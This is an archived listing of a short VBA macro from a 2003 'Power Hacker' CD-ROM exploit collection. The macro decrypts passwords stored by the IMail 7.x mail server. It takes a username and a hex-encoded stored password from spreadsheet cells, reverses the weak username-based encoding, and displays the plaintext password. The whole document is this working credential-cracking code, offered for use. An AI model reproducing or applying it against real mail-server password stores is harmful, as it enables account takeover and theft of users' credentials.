home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / contrib / imail7.vb next >
Encoding:
Text File  |  2002-04-04  |  985 b   |  42 lines

  1. Sub CrackPW()
  2. ' Decrypts passwords on IMail 7.x
  3. ' Contributed by ives.stoddard@eurekafarms.com
  4.  
  5. Dim UserLen As Integer
  6. Dim PassLen As Integer
  7. Dim PassCrack As String
  8. Dim i, j As Integer
  9.  
  10. User = ActiveCell.Value
  11. Pass = ActiveCell.Offset(0, 1).Value
  12.  
  13. UserLen = Len(User)
  14. PassLen = Len(Pass)
  15.  
  16. 'MsgBox User & " : " & Pass
  17.  
  18. For i = 1 To PassLen / 2
  19. '   Take letter of password, subtract asciival of corresponding letter of user - from mod len of user 
  20.     ASCII = ""
  21.     ASCII = Mid(Pass, i * 2 - 1, 2)
  22.     ASCIIval = Hex2Dec(ASCII)
  23.     j = ((i - 1) Mod UserLen) + 1
  24.     
  25.     PassCrack = PassCrack & Chr(ASCIIval - Asc(Mid(User, j, 1)))
  26. Next
  27.  
  28. MsgBox PassCrack
  29.  
  30. End Sub
  31.  
  32. Public Function Hex2Dec(ByVal sHex As String) As Long
  33.     Dim i As Integer
  34.     Dim nDec As Long
  35.     Const HexChar As String = "0123456789ABCDEF"
  36.     
  37.     For i = Len(sHex) To 1 Step -1
  38.         nDec = nDec + (InStr(1, HexChar, Mid(sHex, i, 1)) - 1) * 16 ^ (Len(sHex) - i)
  39.     Next i
  40.     Hex2Dec = CStr(nDec)
  41. End Function
  42.